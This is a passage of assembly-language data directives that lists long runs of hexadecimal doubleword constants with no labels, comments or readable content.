0C0F639A8h, 0BC52691Bh, 51A00F4h dd 7863100Fh, 620FAADDh, 408A64E5h, 16754569h, 49FE0050h dd 0E7329017h, 0A100123Bh, 7D3C4EABh, 546071h, 4D620151h dd 0C55957AFh, 7028C700h, 0B165FB7Bh, 0AD19001Fh, 0FEF9DDF5h dd 450001A4h, 9ACCE538h, 0B3CDCFh, 11DC8975h, 9E430FDBh dd 3CBC8000h, 9004847Fh, 0E8C500B5h, 45B6DA98h, 0EF18BAC9h dd 2F189221h, 617517h, 0F75AFC0Fh, 0A099CFAAh, 6D214060h dd 36B02E4h, 0F36EFAB0h, 0BAFA2F9Dh, 5E7194E8h, 0C79B4700h dd 2C158A62h, 756A0330h, 0D6C9130Ch, 4CE21BD0h, 3E006472h dd 2279C1B1h, 0F3AA40Dh, 0B8FF7281h, 0A623D1C0h, 8E003613h dd 0CC7CB09Fh, 0BBD857h, 21DDED69h, 7991D73h, 91618C5h dd 0E3867EC0h, 0E93E72A1h, 205BC09Bh, 0A3E099C3h, 94035A15h dd 3050BC20h, 0DC78E814h, 3654007Dh, 0D93BB398h, 3E1F7759h dd 438E6944h, 95084016h, 0CFCDE56Eh, 0D6ACE380h, 4D000950h dd 0DC440765h, 9B027Eh, 0C76F94Bh, 69D222BCh, 40194F33h dd 6907B2Ah, 8C87B03Eh, 0CC0D385Ch, 0C00250D6h, 72F18EE0h dd 8F20007Ch, 46052B84h, 0E7004832h, 83FD03C8h, 97B17Dh dd 85A1CF02h, 0A2EB4739h, 10148200h, 36C6E4C0h, 0A4E80094h dd 0B6499BA1h, 0DF005B12h, 8265868Eh, 90CE93h, 0D485A37h dd 41E34666h, 0A18C9E01h, 3497CD0h, 38BD36DCh, 0D01C623h dd 8E2992D8h, 0C83F307Ah, 0CF0E300h, 458DDC1Dh, 32EB8AEh dd 0CA80D503h, 0AAD85E0Ah, 587C6D14h, 932CB000h, 1DAFECDh dd 9989009Eh, 735DCB3Ah, 0BD07800Fh, 5EB11DB0h, 2FFF6440h dd 8C4C5005h, 32AC00C0h, 0D634A95Ch, 2E00AFB2h, 80A06F5Eh dd 0ACA6A0Ah, 0A8D12AD7h, 0D6F6009Ch, 4F2FDCEh, 9B0A40DEh dd 1E8EB0B1h, 4C7F9058h, 9500BB33h, 322214Dh, 0B01E5506h dd 0E7C53EE2h, 0F00FF67Bh, 0B6BC6065h, 0EB1AA6Dh, 8FA856Ch dd 91A1860h, 9A1D0F0Eh, 0E7DC294Ch, 4692BF00h, 7CCD22h dd 0FBF5B180h, 833BD498h, 3142348h, 0AAD4627h, 0CE4C98FFh dd 0A6300CEEh, 0C7995C1Eh, 2DC67800h, 808934C8h, 0ED300B21h dd 0FB8391BFh, 29015B14h, 0D6D90328h, 68F416E0h, 0BA340E12h dd 0B9E061FBh, 0E6F7C36Fh, 0F8CD7503h, 0B9682C7Eh, 13EC065Bh dd 60CC7666h, 762E10E5h, 686F3738h, 28F3C739h, 0F0C37547h dd 7B087C77h, 2CDE3AD3h, 14DADC80h, 7C937B05h, 58CE8F02h dd 60C31C6Eh, 3EC80849h, 0B680724Fh, 0A5795374h, 64007611h dd 5D9B0CDFh, 9C4EC84h, 0EF4C7044h, 0E6009078h, 161EBEA1h dd 0F1F4B3CFh, 89CEF0h, 51DDE8F1h, 87BD24ECh, 8A010717h dd 0B1CFB300h, 18DE37D1h, 29DBFCC4h, 15805890h, 947F57h dd 66860810h, 638D1AFEh, 9512FB0Eh, 0F02CA07Ah, 1FE1C04Ch dd 40537940h, 0D31B7B01h, 0D004D69h, 1A827214h, 392A07FDh dd 0FF11E0h, 32016F36h, 0BD59A4AAh, 92B8100h, 2A46DD80h dd 0A1B70015h, 0EDA61F08h, 0C20114C8h, 5EE567Bh, 22D4698Dh dd 7C960090h, 2AA636EBh, 0AE00B275h, 5F98D368h, 1E08FC64h dd 40510683h, 0F5B6C2EDh, 32014A0Dh, 60A098A4h, 9CD07A9Eh dd 0A2610AC8h, 80A088DCh, 0D96B5BFCh, 0F20060F4h, 24310B78h dd 0EB828Ah, 62FE7BC1h, 59BB89C3h, 1436EC03h, 0D0AD1B99h dd 9896B5B4h, 64DF017Dh, 237F0F70h, 0ECE6F852h, 0CDF44000h dd 68A325A7h, 0B1B05Dh, 3D2F8E5Ah, 2E905686h, 0D30F600h dd 15DFDEE2h, 49BE0022h, 0EAF02BF4h, 121F9E3Eh, 73C7E762h dd 1A90DDB0h, 2C66E698h, 1C132Dh, 0CC21FB44h, 4600B961h dd 6E898F8Eh, 63FFCEh, 1D94DEC9h, 0D3BCC53Fh, 0E6908400h dd 0D5B25BA8h, 0F2802B7h, 0DB14FA7Ah, 78598480h, 8400B01Fh dd 6A9E156Bh, 0A40C35h, 89404981h, 94436D7Ch, 927B1702h dd 8756CC61h, 0CFE1608Ch, 0C1C8628Fh, 9825177Ch, 4C4702ABh dd 0A780C005h, 29BAAE8Dh, 27C35700h, 401A37Bh, 0CE6800E2h dd 92A24482h, 3005C14h, 338CEE18h, 5CB9A52Fh, 8700ED9Eh dd 0AD2CD390h, 1500AEFEh, 0EFC8120h, 2BBA8B6h, 83734F77h dd 0CAE02EEEh, 640038B7h, 526EECB3h, 145850F9h, 0F80D2071h dd 24F1A40Fh, 0D6FE8720h, 9008DB6h, 0C39AB310h, 82CB15h dd 0FDC3A9Ch, 0B2C88A91h, 0CA94681Eh, 0DDBC8387h, 0D1827AF0h dd 926F02D9h, 2B63B0B9h, 97DF7040h, 87284100h, 8E4801A9h dd 8A231D33h, 3806406Bh, 97AD547Fh, 3516B80Fh, 68DC8004h dd 90C54A0Ah, 8A30481h, 90ED55A2h, 0F905394Ch, 8FE25E1Dh dd 0ADFE0D80h, 589943Eh, 6BC3BB43h, 0B4F7C048h, 6E00254Ah dd 83C53054h, 1F2617B5h, 0EC45937h, 0ED003123h, 3F8F767Ch dd 0F1020A03h, 0AF3CE9B8h, 0AC7532E0h, 0EC9A00BAh, 0C2DA9066h dd 0F1009DBCh, 6FB50FEEh, 35CCD1h, 888DD225h, 21C0315Ah dd 0ABFA2900h, 0FE0CA5Eh, 51D034Bh, 1790B1Eh, 0A85DC000h dd 0F7BD522Ah, 44AD00ECh, 43651D63h, 7EFE48E0h, 0A988E700h dd 5954278Fh, 0C71C009Fh, 296F242Eh, 48003AB7h, 66AFADA8h dd 0AB2178h, 5B65428Bh, 0D86B293Dh, 0BA72610Fh, 90D0C0BDh dd 0CFE190Bh, 0D79B2637h, 83EEA451h, 0DBA9AE00h, 0FA1552E2h dd 81EED4h, 61C939B3h, 8A7CB923h, 2B0367E4h, 21AA9026h dd 0AB68B88Eh, 0CB3700BAh, 28C2FF7h, 8078E57Ch, 0DB86E100h dd 8A11F84Fh, 8DC3003Fh, 1B2C37E6h, 0E901D139h, 292608D4h dd 24C4465Fh, 0AF130B60h, 61803CA0h, 0CCD73457h, 0AE36BD00h dd 56CF7C5Ah, 17143B1Ah, 1C79464Ch, 0C0E4C759h, 0FFB38DE1h dd 0F500F8CAh, 0F01ECEDBh, 76BBF683h, 4469036Bh, 0BD08B6D9h dd 7AC3B0D7h, 8700DBEAh, 91250DECh, 35B0341h, 2C3D7C46h dd 27884A34h, 310E28D3h, 30BB1Ch, 20ADEA17h, 0E0B800A7h dd 48BA882Ah, 0EC0091F0h, 0F3B916DAh, 890D47h, 0A9C14DABh dd 8B9C5B92h, 0BFFE2300h, 0B9B13C8Ah, 83150042h, 0D10F216Dh dd 0D3EC0E6Eh, 20017300h, 27246156h, 90CC005Bh, 55CD83D9h dd 133BFE07h, 0D7680A1h, 8AE6034Eh, 5D211C24h, 0BD9F45CDh dd 8D8AC0A2h, 6300F0F4h, 0A88C4C95h, 3FB875B4h, 5B80710Fh dd 0DBD9E237h, 0EF7AFBC8h, 623DD401h, 39E3F8DDh, 3F0CDCh dd 0BE5736CAh, 88FD811Ch, 0F6668300h, 0C2567F97h, 0A25D0792h dd 50290ECDh, 7A030D2Eh, 0AEA82B00h, 0E9644CA5h, 0CAE10023h dd 9EE57775h, 0F21473C3h, 0B41722h, 9716C532h, 2AE3F6h dd 4BB3BACEh, 0BD1B273Ah, 6F001A7Eh, 8528F513h, 3EFF6AFh dd 4AEA7E63h, 3B903946h, 8D70F1A8h, 0AD1E8703h, 0A09D8F57h dd 0E43D0Dh, 22934F5Bh, 0B63044Eh, 0A89C2603h, 0A0AED2C6h dd 0EE5202F7h, 2FC200FCh, 134D0820h, 6F00EA6Bh, 0C48DF96h dd 2A3BF5h, 0B776C089h, 0F9D553DAh, 9FBCAE1Dh, 0BF839D00h dd 516441h, 245D3158h, 0A3B6C794h, 502BDB48h, 760025B0h dd 86D243D8h, 0BB15118h, 1073F94Ah, 0F2BD8B80h, 6A0032E0h dd 0B7E5E649h, 719AE7h, 57DB8929h, 865B6B48h, 80C8E800h dd 43443565h, 0A5FB0C8Ch dd 916008D3h, 5FC3641Dh, 0B8DE7033h, 0C0ADD6F7h, 0DDDF8B08h dd 5E625965h, 80C5A421h, 3EE4921Ch, 0DC8C3A54h, 0FA0A6E3Ah dd 10BEA5h, 0F65FC266h, 50007EE7h, 497D07FBh, 0D1BD51h dd 8769B3B0h, 95F2F846h, 0EF023602h, 80BC977Eh, 9614720h dd 4C8C2A9Dh, 60C44240h, 7EF81379h, 339F077Bh, 9F52A17Fh dd 30789BA0h, 9A314C80h, 666A28AAh, 90024898h, 840AF807h dd 0B47CE49Bh, 0CA51086h, 0B8EF058h, 0C34F9D21h, 0C520910Eh dd 0BFE4D72Fh, 0DBFB9B00h, 0CD4878B5h, 7F2401BDh, 0F13721E6h dd 86643082h, 8F65760Fh, 0F0EBC05Fh, 0DA0A3Ah, 3D6CA3B3h dd 0C7AC8B1Dh, 79685B60h, 31C3E47Fh, 25FC5E03h, 6218805Ah dd 0E0F7BE8h, 0AAFA015Fh, 0C5FC2618h, 0D1A0801Ah, 12AF385Eh dd 5898000Bh, 0E6AB542Ch, 7D302FAAh, 0FFA0189Bh, 22A81FA7h dd 0AD080F7Fh, 5FE4CF1Ch, 0DA288E00h, 0F515B4B6h, 7E80A3D8h dd 783D8800h, 0CBC61164h, 6F600FE5h, 8C017612h, 9F15FC1Eh dd 0E30C0228h, 108E1816h, 13482Eh, 0A32CB691h, 150C4Fh dd 5F187F5Eh, 0B0EB162h, 1FC13603h, 196092Fh, 0E4F6DAA0h dd 87B2D8F7h, 7F91BF81h, 0CD58DCh, 0A26A0C42h, 0B3610E31h dd 1F793F3Eh, 3407D968h, 0D4C05CE0h, 0AFD862h, 25F0FF2h dd 0DB77985Bh, 73619B08h, 4FA20E90h, 9159AE06h, 9F228E72h dd 0A937100Ch, 0B9A40595h, 0C003CB88h, 8224D66h, 793E0FE8h dd 745947D3h, 0A15A0502h, 1048BBFFh, 582A5F8Ch, 0E70ACC98h dd 0C4271391h, 83448F06h, 0FFAC1518h, 8C069C10h, 187B2567h dd 55904304h, 809058C0h, 1A66A05h, 0F76CADCEh, 983CA5DEh dd 9B211608h, 47A60742h, 70E1264Bh, 0D595D2Fh, 70FF1E09h dd 0F0003BCh, 2DC80341h, 17D91419h, 0A5EBD900h, 0B48C6BE5h dd 647C0E38h, 78C3ECCh, 8A012421h, 678DDBE5h, 0A0B19059h dd 4694C058h, 2C808084h, 486D84Ah, 8C551BD3h, 802867A4h dd 4EE58826h, 57008178h, 242C606Ch, 92F48C7Eh, 0A0F63CC8h dd 68026160h, 14905893h, 0DFF00C09h, 14940A16h, 185ED70Ch dd 6C25183Fh, 0B90B61B3h, 49BD5300h, 179C4163h, 899648Ch dd 0A0B890BBh, 0AC05BD4Bh, 90F8FA7Ah, 1248A086h, 46AB8EC6h dd 5138D8C4h, 0DC373Ah, 6E5BD388h, 7BE5F34Eh, 14670003h dd 9E1AE812h, 84A03FB8h, 0EEE32C36h, 588EEC80h, 98010DC3h dd 0F93FBD5Dh, 0E804869h, 1CC6884Eh, 0CB00ED8Eh, 3E3638A5h dd 1E325FBDh, 1D52F9h, 91A63059h, 8A741C7Ah, 0B9605EF4h dd 0D6CF5F20h, 30FE66Eh, 4A6F34FBh, 50D76A95h, 767CC5F1h dd 8045383Ah, 0AAED125Ah, 299B93h, 0AEFA7394h, 72C218A0h dd 1639E900h, 15439FECh, 6954003Dh, 63CCB586h, 8B793EE3h dd 0CB795900h, 8E0D3BA1h, 0AD7DF8h, 779C0357h, 822A74FDh dd 9A0018E0h, 301FB55Ch, 1F9D634Fh, 0CBF4C83Fh, 0B20096D9h dd 0BC9E70E1h, 26FBA50Fh, 84F9671Eh, 0F8E2C250h, 68E8EFh dd 70DE0FA2h, 8EB345E3h, 856211FEh, 22C5CE29h, 0F7245EF6h dd 12B8AE21h, 0AA81101Ah, 88443B88h, 86898C04h, 0CB66EE10h dd 0E0F19900h, 0E31B8FD2h, 769735Bh, 0CF14FEA9h, 6615207Eh dd 6B17DF9Dh, 0C24F6DBFh, 813BA069h, 2C485Bh, 0D4D844E8h dd 13431482h, 52BD7400h, 95108C1h, 1037B3Bh, 0E2533DB6h dd 0E430DD87h, 91054E9Bh, 739FFBC9h, 8EEF7EC0h, 0BC250018h dd 5ECC49AFh, 45007C41h, 0E74E59B6h, 0A0EF1109h, 1C3AA7DDh dd 1676FEh, 0E09CE24Bh, 683093FDh, 2C694178h, 0CB33005Ah dd 385FEF13h, 0B900909Ah, 0A7497BDBh, 0E0CFD39Eh, 13CA5CCDh dd 0ABA42D00h, 0BEED8F88h, 190CE600h, 5D8BA172h, 4ACE0040h dd 0E45345DFh, 5900B737h, 57E62D3Bh, 0F6B551Fh, 7CFD64E1h dd 63ED4743h, 0EB378790h, 706FF700h, 0FE523196h, 18A47610h dd 0B0A857E8h, 2B00E5BBh, 58BAB3DBh, 3DCE11h, 0DEDB91Ah dd 0C12129D4h, 0B0B13539h, 37D35820h, 7650CF78h, 4FBA0011h dd 0CCE51E82h, 0E191002Eh, 99D5849h, 3200EB87h, 99857507h dd 0F05FC8Eh, 1DD45608h, 8130A4E0h, 570547E7h, 0FB2FBBEFh dd 0F8CC9C00h, 0A4086Eh, 2C5592Dh, 0CBA50107h, 53008CF8h dd 3A1C7B4Ch, 5F4BEAh, 9FD4FFB6h, 52F73203h, 77072E0Eh dd 0F227E017h, 180818F1h, 28AB6129h, 1C2831FCh, 48069654h dd 0F635C494h, 411900F0h, 129AA4D5h, 6300165Fh, 2427072Ah dd 1D9AE96h, 0D2CBC554h, 0C81FF869h, 1B00DC81h, 0D5CDB3DEh dd 1C71672Fh, 40DF0973h, 325D9B68h, 34744B38h, 0C22A1A00h dd 0C0C78303h, 5FC10013h, 0D8B4B774h, 0B0013BDCh, 0B2A0A411h dd 0CAC8B841h, 3F820046h, 3E8779C9h, 8C076A9h, 0C1B46D86h dd 0A5C6000Ch, 8C1CF196h, 0D40FF9AEh, 809B98EBh, 28E2B3EEh dd 22AF00C7h, 8F8BDA6Ch, 420EB4F3h, 401861BAh, 0CF9262A9h dd 729C03F8h, 59441AF0h, 31D4DBF8h, 53089A00h, 0B0D98F89h dd 249800E7h, 98BA0AAh, 0B800A892h, 38231A6Ah, 79F01E02h dd 0FA6E00EFh, 0A94D5401h, 6009F48h, 3AD1D0F9h, 0B729C7D9h dd 3468D5C0h, 0FE264098h, 321C62BEh, 0EB480FEh, 0AB7ED213h dd 0BFA516A3h, 0DF3D00D8h, 0E181C7B3h, 0DCCB7328h, 65931E00h dd 0F53C7C48h, 0F6BC7A20h, 0D1E0A0ACh, 69070062h, 8AFE67F4h dd 7A001BE7h, 8E37B6D6h, 7714FAh, 366B0786h, 0CD25E367h dd 806E0D00h, 516AE46Fh, 74016019h, 1C695575h, 0C6C87400h dd 2B8B0D60h, 8F2F1C13h, 8D1AC0FBh, 2607921Dh, 94892100h dd 48784215h, 64E8036Fh, 0A8184001h, 0E1E873DBh, 50300980h dd 0B76BF8A0h, 0B97EE9h, 3BA7C7ABh, 4E5EF2A8h, 12F69C03h dd 880DDFFBh, 5DB8A6h, 8ACB9AA9h, 76DC2F11h, 0D2329F00h dd 0D75C1460h, 2E4E0072h, 0C0C9E30Bh, 86005F67h, 5BAB8958h dd 7463CA3h, 807C4036h, 8C509074h, 37018B15h, 5F114127h dd 71C902FAh, 5458C20h, 2CD6C18Fh, 1810C3A1h, 10FE4F8h dd 617BC216h, 17B7AC00h, 53BF57h, 0EF8154ABh, 91A0441Ch dd 6BBFC00h, 22CA7A52h, 0B52B0269h, 5C0B40FBh, 0B30C4C64h dd 3485D7C1h, 83E004h, 5C8461F3h, 6477A66h, 0F67B3000h dd 0ADFD8FCFh, 3B780E1Dh, 0F8C07E54h, 393AF4B8h, 0B7779200h dd 58B2EC5Ah, 0D59F003Dh, 0B048FA16h, 11284920h, 1009B466h dd 9D075Fh, 0AAA9C9BFh, 9EC60022h, 26F1A08Dh, 0B1008AB3h dd 2B0FE245h, 0F24AC2h, 9E530ACEh, 13C1B2D0h, 2030A700h dd 0CAF71B8Ah, 0C87175h, 2ED46976h, 0D55E60Fh, 2AFCE502h dd 8067CDC3h, 0EBA8AECFh, 426901D5h, 8D967114h, 943264h dd 0FCC25751h, 0B80AEED4h, 0F73B1D39h, 0EBB54066h, 93756BF5h dd 400BA97Ch, 8C514D74h, 0EAA020h, 0A70E7953h, 63073350h dd 0F0707C09h, 0B9CC078Bh, 17602EB0h, 0D473E9h, 0B0B854C0h dd 14F67F1h, 0A3A41500h, 2D5BE691h, 0BD3D14FDh, 7000FC18h dd 1ADED54h, 6000EF43h, 0F841D77h, 70A0AFBEh, 28A50157h dd 24E53893h, 0C5263025h, 80CDB93Bh, 0B1E2F81Bh, 3A66A37h dd 0AF21EB39h, 0B9F8E6B2h, 12E69646h, 0A2FBA40Fh, 95F080FFh dd 0EB3C3477h, 30914064h, 0D6E0295Fh, 1D07315Eh, 6E7AA01Eh dd 0B74477D0h, 2A540030h, 370CE189h, 4114384Ch, 0C8F0D0h dd 99474431h, 28EFBC0Ah, 80DCE81Fh, 28DAE6CAh, 10C0D810h dd 2CA6B53h, 0D7EC7E74h, 0B19DC08Ch, 0E7FC009Fh, 0B51E9A72h dd 801890DBh, 1390379Bh dd 0D890069h, 276E26B1h, 2C24E13Fh, 7F006C28h, 0F7D0F39Fh dd 0B65301AFh, 0DEC1BEF4h, 0F8A0F599h, 0B002ADDh, 3B4E8F65h dd 63AB45h, 0A3834AEFh, 0CCC38233h, 0EE62A100h, 8529EB41h dd 4FF0002Bh, 8107D6D4h, 7A7DB139h, 9E01D103h, 0E8891862h dd 24D200Fh, 0DA371DF2h, 0C640EB29h, 740EB890h, 1DCBD55h dd 0E710E024h, 1D443820h, 0AB374Ah, 7CD12D2Ch, 7B00362Fh dd 0A023A541h, 8B32B5h, 0B4B62AD6h, 0BFD973D7h, 0F5718900h dd 0F6DCFBBh, 64D8005Dh, 9860AC78h, 0ACB84708h, 0E8AD5909h dd 0DFE08056h, 0AC76E7h, 0E1CD04B1h, 8064179Bh, 7E02F3B0h dd 66FCB767h, 152C406Fh, 0B1E0017Ch, 1B8CA1DDh, 0E669F8E2h dd 3600109Ah, 75C81FC6h, 2F059Dh, 10818BA6h, 7CEA86AAh dd 3F85B00h, 0DC87D89Fh, 30740091h, 0B909F1C9h, 460E8845h dd 60AB2332h, 0EB2A1673h, 0B63C00DAh, 0F5E88D8Bh, 2F26A8C5h dd 1F3B70D9h, 1002307h, 41AA98A9h, 1C974CAEh, 0F7E27700h dd 0C091765Bh, 6C197200h, 5D073515h, 0EDBA00F3h, 85488CF5h dd 0FCF455D3h, 0BFE1900Ch, 44DC41ACh, 9B03B6E3h, 3E0E8867h dd 0A88095CCh, 705A6E3Dh, 427A0079h, 0E85A536h, 3E00C5C8h dd 4D9A84AFh, 3BCCB31h, 0B19E172Ah, 0C2A0DA36h, 0BA00AF5Ch dd 8A3BAB77h, 0D5DEAAh, 0B7CF5F13h, 0BC6BC199h, 3D4284Ch dd 2DD41D20h, 0CCB0E856h, 0ACAB2EA0h, 2700930h, 9A918780h dd 8F03D339h, 8EE46899h, 160900F9h, 0F40EC55Eh, 2600E7F7h dd 3ECF1A41h, 99C4B249h, 173280ECh, 0A4523F16h, 5F8BA502h dd 0E4BD87E3h, 77CC2020h, 811D0D01h, 0AC3FF9C8h, 0AA7C90FBh dd 0A8280219h, 0DC940C50h, 9004C8E8h, 1A00EEFCh, 8DA6A9F3h dd 1DF52907h, 40B2F84Fh, 8256E454h, 2200699Dh, 0EFC0A152h dd 26D43A64h, 2ECE2CAh, 362A7F3Bh, 0DE221440h, 9B31A09h dd 21DC074Eh, 5AF6AF30h, 0AD25008Bh, 0A5F7EE75h, 1B267880h dd 0CE0007BDh, 616EA92Ch, 0E52500E1h, 9BB22356h, 50005403h dd 814DC6A5h, 0C0F66h, 9067824Bh, 0F56C3813h, 330758h dd 0FE7EACC4h, 48CA6DBBh, 1C2EC4F8h, 9B0340ACh, 0AA0084CFh dd 0CE7FF938h, 14F7364Dh, 98F420DEh, 0AE0FD43Ch, 0DA207094h dd 6C0CEC52h, 0E44049h, 0A74B2E2Fh, 3A3F985h, 59D81490h dd 0D088BDB4h, 8A002225h, 0DFB18942h, 292A38h, 0F46D66ECh dd 5D52D3C6h, 543C67B0h, 837380FFh, 3ABE2463h, 98F2006Dh dd 721EAAE3h, 940349ADh, 0C8C6910h, 8802CB64h, 6C2E17h dd 0A69BCFBFh, 7D82B0C8h, 6DFA4F01h, 0ADFFAC7Eh, 9AE4F8h dd 0AA52EDA7h, 550B9B90h, 20DDD900h, 0C4146119h, 12501DE6h dd 3B21415Fh, 40F23C03h, 2EA7DBA4h, 0E706DD02h, 40B9E00Eh dd 3F6CDCh, 0A36B93D9h, 50EE850Ah, 4B43020Bh, 0C03C8199h dd 59E8426Ah, 800900FDh, 0D5679214h, 38007E5Bh, 0EBFE2D5Ch dd 2881F2h, 0C7B29AEDh, 37B249Dh, 0E400CC7Bh, 4BB4AC80h dd 351212Bh, 65FC4A01h, 0ADF33914h, 2045D8E9h, 1C981F57h dd 1629011Eh, 0FD260540h, 589C9464h, 7BA44Ah, 906F53F9h dd 8348345Dh, 64032AE6h, 2F8C78AAh, 0E3AD829h, 7E44009Bh dd 830D5609h, 4C3F9D9Eh, 4389008Bh, 0D4282130h, 2CC500FFh dd 95CACDA3h, 0FE00F9C9h, 73E1A0C8h, 4EF60Eh, 31AC1683h dd 205937E0h, 23F46000h, 834A56Eh, 0B8C5002Eh, 0CAACFB40h dd 0E100706Ah, 0EE26604h, 0F69DCF16h, 35BD2ECEh, 3117964Ch dd 0FFB7C8h, 9EB039Fh, 3C52A7F4h, 243038C0h, 19945850h dd 6AE71E02h, 61C081CAh, 0E0EEAF44h, 0D435D4Ch, 0F845DED9h dd 1AEB6018h, 0B601C400h, 0EA178436h, 5356005Bh, 24B999F9h dd 4805615Dh, 0ADDBFDE4h, 0FF171080h, 50A12D5h, 8B5E0956h dd 20C77884h, 0DF4DD3h, 0D444A43Eh, 32264119h, 0F3538900h dd 38281EEh, 4A430045h, 66CFBC1Bh, 0A1096F1Ah, 4CD6978Bh dd 0E520400h, 87BAC014h, 0E155C2C6h, 1F79E880h, 0EA00661Ah dd 0E75145C3h, 1A11F40Bh, 0B2325646h, 7078ACC0h, 902DC90h dd 6D081AC1h, 60C8E29Dh, 4C66076Ah, 800B05A2h, 102797E2h dd 2806878h, 0B1DF2621h, 67F90B39h, 6080C66Bh, 20EA4B04h dd 8FF0C260h, 3C1659F6h, 0AC98A1A0h, 954A4985h, 47C4BB18h dd 1E7E8D8h, 2ABA3F7h, 0E8719FCCh, 6BFE742Bh, 5CB009FEh dd 56333700h, 0F1403AFAh, 95EC129Bh, 82361494h, 1EA6D817h dd 0D03F4740h, 200ECB6Bh, 82A5242h, 0E390A0EBh, 2E032953h dd 2C3359FAh, 0C1C4F2F9h, 88006ABh, 0AE25FFF6h, 0C605957Bh dd 2EB92147h, 24A3F2C0h, 0A48B0089h, 0B692605Bh, 0F22C5E71h dd 0BF0320A7h, 0D842E183h, 1F4A3Fh, 1366E662h, 0C1A8143h dd 2FD28F09h, 83ACE027h, 727839C6h, 3FC7B382h, 7960FCEAh dd 0D81875E8h, 3529B121h, 0A72A0204h, 8A4A86C9h, 89021D42h dd 0B4788C45h, 8096B560h, 0F2647701h, 0A8435108h, 2D36A8CBh dd 9D5109E0h, 0C4E0A5D0h, 9C00CDFEh, 63DD5AD1h, 770280h dd 0AC733032h, 0FFEDE442h, 400B194Bh, 988014Ch, 918022B3h dd 281B4407h, 0AE14DF39h, 1B08F98h, 5890053Ch, 0D440F4B0h dd 0BFD53BCh, 48A0308Ah, 0C00888Bh, 0F6DE1BE4h, 0B101C3FCh dd 0E995F20Eh, 9880917Ah, 525C435Bh, 6609E7B7h, 0C026F780h dd 27645B4h, 0D10E27DBh, 1078F412h, 140077FAh, 64A868A4h dd 251B502Ch, 0F8008A70h, 499E1C85h, 6733C212h, 1EF558C0h dd 0BAC9D376h, 0AB41C400h, 712CBA45h, 8CE054h, 0B392F29Dh dd 0A9D0D5C1h, 9E070400h, 88AC91A3h, 0BA080076h, 9C7DCAA1h dd 74021EFCh, 0FEB701CFh, 8884C88Dh, 0BBF88391h, 0C700FF39h dd 95E66051h, 3CC233A8h, 0A1B96AE5h, 12B3DE80h, 27BD182h dd 51ADB00h, 0BFC37DB8h, 0E401002Bh, 0A7C4BCAFh, 1C1FACB0h dd 0E947408Bh, 30A069FCh, 0A0E5DEB9h, 2728D4h, 0A136570Bh dd 0A0581D11h, 232B9A00h, 0CD63E66h, 0D30F073Fh, 0C01F5DA7h dd 0D5822AFFh, 0BE26C000h, 8818C1FBh, 5293AECh, 5500A9C8h dd 7D75E409h, 775C2491h, 0A4512A00h, 83E65E1Ch, 31454100h dd 4B5802Ch, 0B2D07F97h, 0EBC4CC2Ah, 0B94300FDh, 6028260Bh dd 6CD98B08h, 0F37D5900h, 743D273Dh, 95D701EEh, 56921E7Eh dd 5108FC52h, 0BFA900D0h, 60B69126h, 8630DD00h, 0EFF4C701h dd 60B36EEBh, 48D58840h, 0B50072FEh, 0E7B0DAF1h, 1F3574h dd 580FA819h, 0BD59A7B2h, 773EAF70h, 0C76912E0h, 9A950800h dd 0F94E55h, 355EBA06h, 0EED1AE7Dh, 0D5A90A07h, 0C06F37C1h dd 0D21E4C49h, 85D90725h, 603B78FCh, 5CB39389h, 0E8484D04h dd 0C0C0BC22h, 0E5FF03Ch, 1A089114h, 64ED51E0h, 2500E4BBh dd 3EA9A1A2h, 7E724715h, 770D0573h, 80485902h, 98A53620h dd 0F41C32E0h, 0E4DFA15Ah, 0D825B300h, 177211D4h, 0F39E5ECh dd 48A0FBDCh, 7D841573h, 0DAED9A14h, 4A6F00A0h, 76911C1Dh dd 976A004Bh, 3DD13677h, 0CD0E227Bh, 20C16261h, 0A599AAE0h dd 9EA43AD6h, 0CA88DA09h, 0B0913485h, 9AF8BA64h, 824E443Fh dd 0B023C0C9h, 1D4788Ah, 94BEF80Ah, 695144F7h, 0A4A00388h dd 880D63D9h, 971247Dh, 28BEC04Ch, 0FDB9C020h, 89006688h dd 8F92936Bh, 0F2F9AD33h, 8C590011h, 4D88C2D2h, 0DE002706h dd 3B537665h, 2E26B4C3h, 0A20A29h, 0CDC9F347h, 0CEEE367Ch dd 1298E100h, 5AD72B8Ch, 60957726h, 0A9FB00Dh, 0F63BCBBCh dd 0FDCE802Ah, 0AE39C677h dd 0D3D70094h, 0F05752D5h, 7212DADCh, 58C0FDBFh, 380F47D1h dd 31025127h, 38297A7Dh, 8A55B040h, 0CAB44500h, 0DC776EF1h dd 0B77C81h, 3BD8A4B3h, 0E9899E6Ah, 5DC3A302h, 603428E4h dd 0EA0E616Dh, 0EEF9008Ah, 0AEECD89Ch, 73054281h, 30FF9FAFh dd 6840D8E1h, 2E146C77h, 468BE95h, 0D7A716E3h, 9EC9E0CCh dd 0ED005461h, 3C1DC04Dh, 0E0675C6h, 51900C43h, 30AF8160h dd 809F52Dh, 0E3CEA38Fh, 0CAE4C8FCh, 38102988h, 55EA4380h dd 0FF4093D2h, 7B0948F8h, 2FE58F78h, 0E74380C8h, 7B9BE05h dd 0BBAE28EFh, 59C54EE8h, 0FBB09039h, 0D9002649h, 0D385B266h dd 7879A90h, 13F003FFh, 861280A4h, 0E00CDD5h, 0D6DDF8BCh dd 62585Ah, 0A42ACCE8h, 0F1510B40h, 0E0193Eh, 7D661B42h dd 69BDD2h, 0E8C969Dh, 1D40ED4Eh, 2388D954h, 8EAA0405h dd 440007D8h, 1370A2E3h, 7810C0CFh, 0A52F27D1h, 4178EC78h dd 248922h, 32C2E948h, 28EBB9DEh, 82ADF227h, 83E4A440h dd 0AE60528h, 0BB9632F8h, 0BE7AC014h, 0E40022E5h, 2940CDAAh dd 7FDAF89Bh, 98EFA0F9h, 0BBDC00D5h, 0EE34F750h, 0BFEC962Fh dd 1084F902h, 431E8E9Fh, 0D2B000ECh, 7998DEB1h, 0B83D5153h dd 0F3D600FAh, 4481D92Ah, 708515F8h, 0D800CCBEh, 43428252h dd 58019438h, 61EB3B49h, 9804E06h, 0C346EE4Fh, 5476164Ch dd 693FE700h, 7007BFF6h, 341100E0h, 5E29D5Dh, 0E5FAF404h dd 7813CEE2h, 0C883B513h, 0F5158841h, 51040047h, 9C6E2F9Bh dd 0F0F0A373h, 171660EEh, 101E25BCh, 2189D89Dh, 4C64E0ACh dd 757D019Dh, 0F6C571CCh, 0E4CFF477h, 0C9A29B00h, 13449209h dd 33160366h, 0BC38A73Fh, 0F8F44200h, 40868A14h, 7BE60130h dd 0FEA78E6Fh, 0CC3C7Ah, 5054FB9Fh, 187FEAh, 56BFA84h dd 0E56AFFE7h, 255F5Ch, 3C29D3C7h, 0E3AFBE06h, 1D5B1E0h dd 